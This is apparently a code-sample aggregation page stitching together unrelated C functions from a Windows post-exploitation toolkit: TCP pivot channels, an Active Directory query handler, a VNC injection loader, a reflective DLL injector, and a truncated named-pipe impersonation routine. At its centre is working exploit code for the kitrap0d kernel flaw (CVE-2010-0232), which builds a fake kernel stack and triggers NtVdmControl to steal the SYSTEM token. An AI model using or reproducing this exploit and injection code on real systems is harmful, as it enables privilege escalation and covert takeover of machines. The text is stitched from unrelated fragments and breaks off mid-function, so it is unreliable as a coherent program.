            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. WSAEventSelect failed");
        }

        ctx->ipv6 = !v4Fallback;

        memset(&chops, 0, sizeof(StreamChannelOps));
        chops.native.context = ctx;
        chops.native.close = tcp_channel_server_close;

        ctx->channel = channel_create_stream(0, CHANNEL_FLAG_SYNCHRONOUS, &chops);
        if (!ctx->channel)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. channel_create_stream failed", ERROR_INVALID_HANDLE);
        }

        scheduler_insert_waitable(ctx->notify, ctx, NULL, (WaitableNotifyRoutine)tcp_channel_server_notify, NULL);

        packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(ctx->channel));

        dprintf("[TCP-SERVER] request_net_tcp_server_channel_open. tcp server %s:%d on channel %d", localHost, localPort, channel_get_id(ctx->channel));

    } while (0);

    packet_transmit_response(dwResult, remote, response);

    do
    {
        if (dwResult == ERROR_SUCCESS)
        {
            break;
        }

        dprintf("[TCP-SERVER] Error encountered %u 0x%x", dwResult, dwResult);

        if (!ctx)
        {
            break;
        }

        if (ctx->fd)
        {
            dprintf("[TCP-SERVER] Destroying socket");
            closesocket(ctx->fd);
        }

        if (ctx->channel)
        {
            dprintf("[TCP-SERVER] Destroying channel");
            channel_destroy(ctx->channel, packet);
        }

        free(ctx);

    } while (0);

    return dwResult;
}
/*!
 * @brief Notify routine for a tcp server channel to pick up its new client connections..
 * @param remote Pointer to the remote instance.
 * @param serverCtx Pointer to the TCP server context.
 * @returns Indication of success or failure.
 * @retval ERROR_SUCCESS Notification completed successfully.
 */
DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx)
{
    DWORD dwResult = ERROR_SUCCESS;
    TcpClientContext* clientctx = NULL;
    Packet* request = NULL;
    SOCKADDR_IN6 clientaddr = { 0 };
    SOCKADDR_IN6 serveraddr = { 0 };
    SOCKET sock = 0;
    DWORD size = 0;
    char* localhost = NULL;
    char* peerhost = NULL;
    int localport = 0;
    int peerport = 0;

    do
    {
        if (!serverCtx)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. serverCtx == NULL", ERROR_INVALID_HANDLE);
        }

        ResetEvent(serverCtx->notify);

        size = sizeof(SOCKADDR_IN6);

        sock = accept(serverCtx->fd, (SOCKADDR*)&clientaddr, &size);
        if (sock == INVALID_SOCKET)
        {
            if (WSAGetLastError() == WSAEWOULDBLOCK)
            {
                Sleep(100);
                break;
            }

            BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_notify. accept failed");
        }

        dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverCtx->channel), sock);

        clientctx = tcp_channel_server_create_client(serverCtx, sock);
        if (!clientctx)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. clientctx == NULL", ERROR_INVALID_HANDLE);
        }

        size = sizeof(SOCKADDR_IN6);

        if (getsockname(serverCtx->fd, (SOCKADDR *)&serveraddr, &size) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed");
        }

        if (!serverCtx->ipv6)
        {
            localhost = inet_ntoa(((SOCKADDR_IN*)&serveraddr)->sin_addr);
        }

        if (!localhost)
        {
            localhost = "";
        }

        localport = ntohs(serverCtx->ipv6 ? serveraddr.sin6_port : ((SOCKADDR_IN*)&serveraddr)->sin_port);

        if (!serverCtx->ipv6)
        {
            peerhost = inet_ntoa(((SOCKADDR_IN*)&clientaddr)->sin_addr);
        }

        if (!peerhost)
        {
            peerhost = "";
        }

        peerport = ntohs(serverCtx->ipv6 ? clientaddr.sin6_port : ((SOCKADDR_IN*)&clientaddr)->sin_port);

        dprintf("[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport);

        request = packet_create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open");
        if (!request)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE);
        }

        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel));
        packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverCtx->channel));
        packet_add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost);
        packet_add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport);
        packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost);
        packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport);

        dwResult = PACKET_TRANSMIT(serverCtx->remote, request, NULL);

    } while (0);

    return dwResult;
}
/*!
 * @brief Create a TCP client channel from a socket.
 * @param serverCtx Pointer to the TCP server context.
 * @param sock The socket handle.
 * @returns Pointer to the newly created client context.
 */
TcpClientContext * tcp_channel_server_create_client(TcpServerContext * serverCtx, SOCKET sock)
{
    DWORD dwResult = ERROR_SUCCESS;
    TcpClientContext * clientctx = NULL;
    StreamChannelOps chops = { 0 };

    do
    {
        if (!serverCtx)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. serverCtx == NULL", ERROR_INVALID_HANDLE);
        }

        clientctx = (TcpClientContext *)malloc(sizeof(TcpClientContext));
        if (!clientctx)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. clientctx == NULL", ERROR_NOT_ENOUGH_MEMORY);
        }

        memset(clientctx, 0, sizeof(TcpClientContext));

        clientctx->remote = serverCtx->remote;
        clientctx->fd = sock;

        clientctx->notify = WSACreateEvent();
        if (clientctx->notify == WSA_INVALID_EVENT)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_create_client. WSACreateEvent failed");
        }

        if (WSAEventSelect(clientctx->fd, clientctx->notify, FD_READ | FD_CLOSE) == SOCKET_ERROR)
        {
            BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_create_client. WSAEventSelect failed");
        }

        memset(&chops, 0, sizeof(StreamChannelOps));

        chops.native.context = clientctx;
        chops.native.write = tcp_channel_client_write;
        chops.native.close = tcp_channel_client_close;

        clientctx->channel = channel_create_stream(0, 0, &chops);
        if (!clientctx->channel)
        {
            BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE);
        }

        dwResult = scheduler_insert_waitable(clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL);

    } while (0);

    if (dwResult != ERROR_SUCCESS)
    {
        if (clientctx)
        {
            free(clientctx);
            clientctx = NULL;
        }
    }

    return clientctx;
}
/*!
 * @brief Perform an ASDI query against a domain.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the incoming \c Packet instance.
 * @returns Indication of success or failure.
 * @remark Real error codes are returned to the caller via a response packet.
 */
DWORD request_adsi_domain_query(Remote *remote, Packet *packet)
{
	DWORD dwResult = ERROR_SUCCESS;
	LPSTR lpValue = NULL;
	LPWSTR lpwDomain = NULL;
	LPWSTR lpwFilter = NULL;
	LPWSTR* lpwFields = NULL;
	DWORD fieldCount = 0;
	DWORD fieldIndex = 0;
	Packet * response = packet_create_response(packet);
	Tlv fieldTlv;
	DWORD maxResults;
	DWORD pageSize;

	do
	{
		if (!response)
		{
			BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to create response packet", ERROR_OUTOFMEMORY);
		}

		lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN);
		dprintf("[EXTAPI ADSI] Domain: %s", lpValue);
		dwResult = to_wide_string(lpValue, &lpwDomain);
		if (dwResult != ERROR_SUCCESS)
		{
			dprintf("[EXTAPI ADSI] Failed to get Domain");
			break;
		}

		lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER);
		dprintf("[EXTAPI ADSI] Filter: %s", lpValue);
		dwResult = to_wide_string(lpValue, &lpwFilter);
		if (dwResult != ERROR_SUCCESS)
		{
			dprintf("[EXTAPI ADSI] Failed to get Filter");
			break;
		}

		maxResults = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ASDI_MAXRESULTS);
		dprintf("[EXTAPI ADSI] Max results will be %u", maxResults);

		pageSize = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ASDI_PAGESIZE);
		dprintf("[EXTAPI ADSI] Page size specified as %u", pageSize);

		// Set the page size to something sensible if not given.
		if (pageSize == 0)
		{
			pageSize = DEFAULT_PAGE_SIZE;
		}

		// If max results is given, there's no point in having a page size
		// that's bigger!
		if (maxResults != 0)
		{
			pageSize = min(pageSize, maxResults);
		}
		dprintf("[EXTAPI ADSI] Page size will be %u", pageSize);

		while (packet_enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS)
		{
			lpValue = (char*)fieldTlv.buffer;
			dprintf("[EXTAPI ADSI] Field %u: %s", fieldCount, lpValue);
			lpwFields = (LPWSTR*)realloc(lpwFields, sizeof(LPWSTR) * (fieldCount + 1));

			if (lpwFields == NULL)
			{
				BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to allocate memory", ERROR_OUTOFMEMORY);
			}

			dwResult = to_wide_string(lpValue, &lpwFields[fieldCount]);
			if (dwResult != ERROR_SUCCESS)
			{
				dprintf("[EXTAPI ADSI] Failed to get field as wide string");
				break;
			}
			++fieldCount;
		}

		dprintf("[EXTAPI ADSI] Field count: %u", fieldCount, lpValue);

		if (dwResult == ERROR_SUCCESS)
		{
			dprintf("[EXTAPI ADSI] Beginning user enumeration");
			dwResult = domain_query(lpwDomain, lpwFilter, lpwFields, fieldCount, maxResults, pageSize, response);
			dprintf("[EXTAPI ADSI] Result of processing: %u (0x%x)", dwResult, dwResult);
		}
	} while (0);

	if (lpwFields)
	{
		for (fieldIndex = 0; fieldIndex < fieldCount; ++fieldIndex)
		{
			if (lpwFields[fieldIndex])
			{
				free(lpwFields[fieldIndex]);
			}
		}
		free(lpwFields);
	}

	if (lpwFilter)
	{
		free(lpwFilter);
	}

	if (lpwDomain)
	{
		free(lpwDomain);
	}

	dprintf("[EXTAPI ADSI] Transmitting response back to caller.");
	if (response)
	{
		packet_transmit_response(dwResult, remote, response);
	}

	return dwResult;
}
Beispiel #17
0
/*
 * (CVE-2010-0232)
 */
DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet )
{
	DWORD dwResult              = ERROR_SUCCESS;
	HANDLE hVdm                 = NULL;
	HANDLE hThread              = NULL;
	LPVOID lpServiceBuffer      = NULL;
	LPVOID lpRemoteCommandLine  = NULL;
	char cWinDir[MAX_PATH]      = {0};
	char cVdmPath[MAX_PATH]     = {0};
	char cCommandLine[MAX_PATH] = {0};
	DWORD dwExitCode            = 0;
	DWORD dwKernelBase          = 0;
	DWORD dwOffset              = 0;
	DWORD dwServiceLength       = 0;

	do
	{
		// only works on x86 systems...
		if( elevate_getnativearch() != PROCESS_ARCH_X86 )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. Unsuported platform", ERROR_BAD_ENVIRONMENT );

		dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting..." );

		dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
		lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );

		if( !dwServiceLength || !lpServiceBuffer )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. invalid arguments", ERROR_BAD_ARGUMENTS );

		// 1. first get a file path to a suitable exe...
		if( !elevate_via_exploit_getpath( cVdmPath, MAX_PATH ) )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND );

		// 2. Scan kernel image for the required code sequence, and find the base address...
		if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE );
		
		// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...

		dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable" );
		
		if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE );

		// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
		//    Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.

		_snprintf_s( cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/KITRAP0D /VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset );

		// alloc some space and write the commandline which we will pass to the injected dll...
		lpRemoteCommandLine = VirtualAllocEx( hVdm, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); 
		if( !lpRemoteCommandLine )
			BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed" ); 

		if( !WriteProcessMemory( hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) )
			BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed" ); 

		// inject the dll...
		hThread = LoadRemoteLibraryR( hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine );
		if( !hThread )
			BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed" ); 

		// 5. Wait for the thread to complete
		dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread );
		WaitForSingleObject( hThread, INFINITE );

		// pass some information back via the exit code to indicate what happened.
		GetExitCodeThread( hThread, &dwExitCode );

		dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode );
		
		switch( dwExitCode )
		{
			case 'VTIB':
				// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
				// matches what the kernel expects.
				// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode );
			case 'NTAV':
				// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
				// expects to be present.
				// The exploit thread reports it didn't work.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode );
			case 'VDMC':
				// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
				// It's entirely undocumented, so you'll have to use kd to step through it and find out why
				// it's failing.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode );
			case 'LPID':
				// This exploit will try to transplant the token from PsInitialSystemProcess on to an
				// unprivileged process owned by you.
				// PsLookupProcessByProcessId() failed when trying to find your process.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode );
			case FALSE:
				// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
				// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode );
			case 'w00t':
				// This means the exploit payload was executed at ring0 and succeeded.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS );
			default:
				// Unknown error. Sorry, you're on your own.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode );
		}

	} while( 0 );

	if( hVdm )
	{
		TerminateProcess( hVdm, 0 );
		CloseHandle( hVdm );
	}

	if( hThread )
		CloseHandle( hThread );

	return dwResult;
}
Beispiel #18
0
/*
 * Entry Point.
 */
DWORD Init( SOCKET s )
{
	DWORD dwResult              = ERROR_SUCCESS;
	BOOL bTerminate             = FALSE;
	HANDLE hMessageThread       = NULL;
	DLL_BUFFER VncDllBuffer     = {0};  
	char cCommandLine[MAX_PATH] = {0};
	DWORD dwHostSessionId       = 0;
	DWORD dwActiveSessionId     = 0;
	DWORD dwAgentSessionId      = 0xFFFFFFFF;
	BYTE bFlags                 = 0;

	__try
	{
		do
		{
			// We maintain state for the rfb stream so as not to desynchronize the remote
			// client after session switching and the injection of multiple agents server side.
			context_init();

			sock = s;
			if( sock == INVALID_SOCKET )
				BREAK_WITH_ERROR( "[LOADER] Init. INVALID_SOCKET", ERROR_INVALID_PARAMETER );
			
			if( recv( sock, (char *)&bFlags, 1, 0 ) == SOCKET_ERROR )
				BREAK_ON_WSAERROR( "[LOADER] Init. recv bFlags failed" );

			if( bFlags & VNCFLAG_DISABLECOURTESYSHELL )
				AgentContext.bDisableCourtesyShell = TRUE;

			if( bFlags & VNCFLAG_DISABLESESSIONTRACKING )
				bDisableSessionTracking = TRUE;

			dprintf( "[LOADER] Init. Starting, hAppInstance=0x%08X, sock=%d, bFlags=%d", hAppInstance, sock, bFlags );

			// get the vnc dll we will inject into the active session
			if( loader_vncdll( &VncDllBuffer ) != ERROR_SUCCESS )
				BREAK_ON_ERROR( "[LOADER] Init. loader_vncdll failed" );

			// create a socket event and have it signaled on FD_CLOSE
			hSocketCloseEvent = WSACreateEvent();
			if( hSocketCloseEvent == WSA_INVALID_EVENT )
				BREAK_ON_WSAERROR( "[LOADER] Init. WSACreateEvent failed" );

			if( WSAEventSelect( sock, hSocketCloseEvent, FD_CLOSE ) == SOCKET_ERROR )
				BREAK_ON_WSAERROR( "[LOADER] Init. WSAEventSelect failed" );

			// get the session id that our host process belongs to
			dwHostSessionId = session_id( GetCurrentProcessId() );

			hMessageThread = CreateThread( NULL, 0, context_message_thread, NULL, 0, NULL );
			if( !hMessageThread )
				BREAK_ON_ERROR( "[LOADER] Init. CreateThread context_message_thread failed" );

			// loop untill the remote client closes the connection, creating a vnc
			// server agent inside the active session upon the active session changing
			while( !bTerminate )
			{
				// in case we have been waiting for a session to attach to the physical  
				// console and the remote client has quit, we detect this here...
				if( WaitForSingleObject( hSocketCloseEvent, 0 ) == WAIT_OBJECT_0 )
				{
					dprintf( "[LOADER] Init. Remote socket closed, terminating1..." );
					break;
				}

				// get the session id for the interactive session
				dwActiveSessionId = session_activeid();
			
				// test if there is no session currently attached to the physical console...
				if( dwActiveSessionId == 0xFFFFFFFF )
				{
					dprintf( "[LOADER] Init. no session currently attached to the physical console..." );
					// just try to wait it out...
					Sleep( 250 );
					continue;
				}
				else if( dwActiveSessionId == dwAgentSessionId )
				{
					dprintf( "[LOADER] Init. dwActiveSessionId == dwAgentSessionId..." );
					// just try to wait it out...
					Sleep( 250 );
					continue;
				}

				// do the local process or session injection
				if( dwHostSessionId != dwActiveSessionId )
				{
					dprintf( "[LOADER] Init. Injecting into active session %d...", dwActiveSessionId );
					if( session_inject( dwActiveSessionId, &VncDllBuffer ) != ERROR_SUCCESS )
						BREAK_WITH_ERROR( "[LOADER] Init. session_inject failed", ERROR_ACCESS_DENIED );
				}
				else
				{
					dprintf( "[LOADER] Init. Allready in the active session %d.", dwActiveSessionId );
					if( ps_inject( GetCurrentProcessId(), &VncDllBuffer ) != ERROR_SUCCESS  )
						BREAK_WITH_ERROR( "[LOADER] Init. ps_inject current process failed", ERROR_ACCESS_DENIED );
				}
				
				dwAgentSessionId = dwActiveSessionId;

				// loop, waiting for either the agents process to die, the remote socket to die or
				// the active session to change...
				while( TRUE )
				{
					HANDLE hEvents[2]  = {0};
					DWORD dwWaitResult = 0;

					// wait for these event to be signaled or a timeout to occur...
					hEvents[0]   = hSocketCloseEvent;
					hEvents[1]   = hAgentProcess;
					dwWaitResult = WaitForMultipleObjects( 2, (HANDLE *)&hEvents, FALSE, 250 );
					
					// bail if we have somehow failed (e.g. invalid handle)
					if( dwWaitResult == WAIT_FAILED )
					{
						dprintf( "[LOADER] Init. WaitForMultipleObjects failed." );
						// if we cant synchronize we bail out...
						bTerminate = TRUE;
						break;
					}
					// if we have just timedout, test the current active session...
					else if( dwWaitResult == WAIT_TIMEOUT )
					{
						// if the agent is still in the active session just continue...
						if( dwAgentSessionId == session_activeid() )
							continue;
						// if we are not to perform session tracking try and stay in the current session (as it might become the active input session at a later stage)
						if( bDisableSessionTracking )
						{
							dprintf( "[LOADER] Init. Active session has changed, trying to stay in current session as session tracking disabled..." );
							Sleep( 500 );
							continue;
						}
						// if the agent is no longer in the active session we signal the agent to terminate
						if( !ReleaseMutex( hAgentCloseEvent ) )
							dprintf( "[LOADER] Init. ReleaseMutex 1 hAgentCloseEvent failed. error=%d", GetLastError() );							
						dprintf( "[LOADER] Init. Active session has changed. Moving agent into new session..." );
						dwAgentSessionId = 0xFFFFFFFF;
						// and we go inject a new agent into the new active session (or terminate if session tracking disabled)
						loader_agent_close();
						break;
					}
					// sanity check the result for an abandoned mutex
					else if( (dwWaitResult >= WAIT_ABANDONED_0) && (dwWaitResult <= (WAIT_ABANDONED_0 + 1)) )
					{
						dprintf( "[LOADER] Init. WAIT_ABANDONED_0 for %d", dwWaitResult - WAIT_ABANDONED_0 );
						bTerminate = TRUE;
						break;
					}
					else
					{
						// otherwise if we have an event signaled, handle it
						switch( dwWaitResult - WAIT_OBJECT_0 )
						{
							case 0:
								dprintf( "[LOADER] Init. Remote socket closed, terminating2..." );
								bTerminate = TRUE;
								if( !ReleaseMutex( hAgentCloseEvent ) )
									dprintf( "[LOADER] Init. ReleaseMutex 2 hAgentCloseEvent failed. error=%d", GetLastError() );
								ReleaseMutex( hAgentCloseEvent );
								break;
							case 1:
								dprintf( "[LOADER] Init. Injected agent's process has terminated..." );
								loader_agent_close();
								dwAgentSessionId = 0xFFFFFFFF;
								break;
							default:
								dprintf( "[LOADER] Init. WaitForMultipleObjects returned dwWaitResult=0x%08X", dwWaitResult );
								bTerminate = TRUE;
								if( !ReleaseMutex( hAgentCloseEvent ) )
									dprintf( "[LOADER] Init. ReleaseMutex 3 hAgentCloseEvent failed. error=%d", GetLastError() );
								break;
						}
					}

					// get out of this loop...
					break;
				}

			}

		} while( 0 );
	
		CLOSE_HANDLE( hSocketCloseEvent );

		loader_agent_close();

		closesocket( sock );

		if( hMessageThread )
			TerminateThread( hMessageThread, 0 );
	}
	__except( EXCEPTION_EXECUTE_HANDLER )
	{
		dprintf( "[LOADER] Init. EXCEPTION_EXECUTE_HANDLER\n\n" );
	}

	dprintf( "[LOADER] Init. Finished." );

	return dwResult;
}
Beispiel #19
0
/*
 * (CVE-2010-0232)
 */
VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset )
{
	DWORD dwResult                    = ERROR_SUCCESS;
	FARPROC pNtVdmControl             = NULL;
	HMODULE hNtdll                    = NULL;
	DWORD dwKernelStack[KSTACKSIZE]   = {0};
	VDMTIB VdmTib                     = {0};
	DWORD dwMinimumExpectedVdmTibSize = 0x200;
	DWORD dwMaximumExpectedVdmTibSize = 0x800;
	
	do
	{
		dprintf( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. dwProcessId=%d, dwKernelBase=0x%08X, dwOffset=0x%08X", dwProcessId, dwKernelBase, dwOffset );
		
		memset( &VdmTib, 0, sizeof( VDMTIB ) );
		memset( &dwKernelStack, 0, KSTACKSIZE * sizeof( DWORD ) );
	
		// XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk.
		//      With a buffer full of NULLs, the exploit never finds the right size.
		//      This will require a more work to resolve, for just keep the padding zero'd

		hNtdll = GetModuleHandle( "ntdll" );
		if( !hNtdll )
			BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER );

		pNtVdmControl = GetProcAddress( hNtdll, "NtVdmControl" );
		if( !pNtVdmControl )
			BREAK_ON_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. GetProcAddress NtVdmControl failed" );

		dwTargetProcessId = dwProcessId;

		// Setup the fake kernel stack, and install a minimal VDM_TIB...
		lpKernelStackPointer        = (DWORD *)&dwKernelStack;
		dwKernelStack[0]            = (DWORD)&dwKernelStack[8];            // ESP
		dwKernelStack[1]            = (DWORD)NtCurrentTeb();               // TEB
		dwKernelStack[2]            = (DWORD)NtCurrentTeb();               // TEB
		dwKernelStack[7]            = (DWORD)elevator_kitrap0d_firststage; // RETURN ADDRESS
		hKernel                     = (HMODULE)dwKernelBase;
		VdmTib.Size                 = dwMinimumExpectedVdmTibSize;
		*NtCurrentTeb()->Reserved4  = &VdmTib;
	
		// Initialize the VDM Subsystem...
		elevator_kitrap0d_initvdmsubsystem();

		VdmTib.Size                 = dwMinimumExpectedVdmTibSize;
		VdmTib.VdmContext.SegCs     = 0x0B;
		VdmTib.VdmContext.Esi       = (DWORD)&dwKernelStack;
		VdmTib.VdmContext.Eip       = dwKernelBase + dwOffset;
		VdmTib.VdmContext.EFlags    = EFLAGS_TF_MASK;
		*NtCurrentTeb()->Reserved4  = &VdmTib;

		// Allow thread initialization to complete. Without is, there is a chance
		// of a race in KiThreadInitialize's call to SwapContext
		Sleep( 1000 );

		// Trigger the vulnerable code via NtVdmControl()...
		while( VdmTib.Size++ < dwMaximumExpectedVdmTibSize )
			pNtVdmControl( VdmStartExecution, NULL );

	} while( 0 );

	// Unable to find correct VdmTib size.
	ExitThread('VTIB');
}
Beispiel #20
0
// Simple app to inject a reflective DLL into a process vis its process ID.
int WinMain() //int argc, char * argv[]
{
	HANDLE hFile          = NULL;
	HANDLE hModule        = NULL;
	HANDLE hProcess       = NULL;
	HANDLE hToken         = NULL;
	LPVOID lpBuffer       = NULL;
	DWORD dwLength        = 0;
	DWORD dwBytesRead     = 0;
	DWORD dwProcessId     = 0;
	DWORD dwExitCode	  = 1;
	TOKEN_PRIVILEGES priv = {0};

#ifdef WIN_X64
	char * cpDllFile = "reflective_dll.x64.dll";
#else
	char * cpDllFile  = "reflective_dll.dll";
#endif

	do
	{
		// Usage: inject.exe [string] [pid] [dll_file]

		//if (argc == 2)
		//	dwProcessId = GetCurrentProcessId();
		//else
		//dwProcessId = atoi( argv[2] );
		dwProcessId = getPid("ffxiv_dx11.exe");

		//if( argc >= 4 )
		//	cpDllFile = argv[3];
		cpDllFile = "ffxiv-fixfullscreen.dll";

		hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
		if( hFile == INVALID_HANDLE_VALUE )
			BREAK_WITH_ERROR( "Failed to open the DLL file" );

		dwLength = GetFileSize( hFile, NULL );
		if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
			BREAK_WITH_ERROR( "Failed to get the DLL file size" );

		lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
		if( !lpBuffer )
			BREAK_WITH_ERROR( "Failed to get the DLL file size" );

		if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
			BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

		if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
		{
			priv.PrivilegeCount           = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		
			if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
				AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

			CloseHandle( hToken );
		}

		hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
		if( !hProcess )
			BREAK_WITH_ERROR( "Failed to open the target process" );

		hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL, MYFUNCTION_HASH, "user data", 1337); // originally (DWORD)(strlen(argv[1]) + 1)
		if( !hModule )
			BREAK_WITH_ERROR( "Failed to inject the DLL" );

		//printf( "[+] Injected the '%s' DLL into process %d.\n", cpDllFile, dwProcessId );
		
		WaitForSingleObject( hModule, -1 );

		if ( !GetExitCodeThread( hModule, &dwExitCode ) )
			BREAK_WITH_ERROR( "Failed to get exit code of thread" );

		//printf( "[+] Created thread exited with code %d.\n", dwExitCode );

		//char message[260] = "Injection successful. Thread exited with code: ";
		//char buffer[260];
		//sprintf(buffer, "%d", dwExitCode);
		//MessageBox(0, strcat(message, buffer), "Info", 1);

	} while( 0 );

	if( lpBuffer )
		HeapFree( GetProcessHeap(), 0, lpBuffer );

	if( hProcess )
		CloseHandle( hProcess );

	return dwExitCode;
}
/*
 * Worker thread for named pipe impersonation. Creates a named pipe and impersonates
 * the first client which connects to it.
 */
DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread)
{
	DWORD dwResult              = ERROR_ACCESS_DENIED;
	HANDLE hServerPipe          = NULL;
	HANDLE hToken               = NULL;
	HANDLE hSem		    = NULL;
	char * cpServicePipe        = NULL;
	Remote * remote             = NULL;
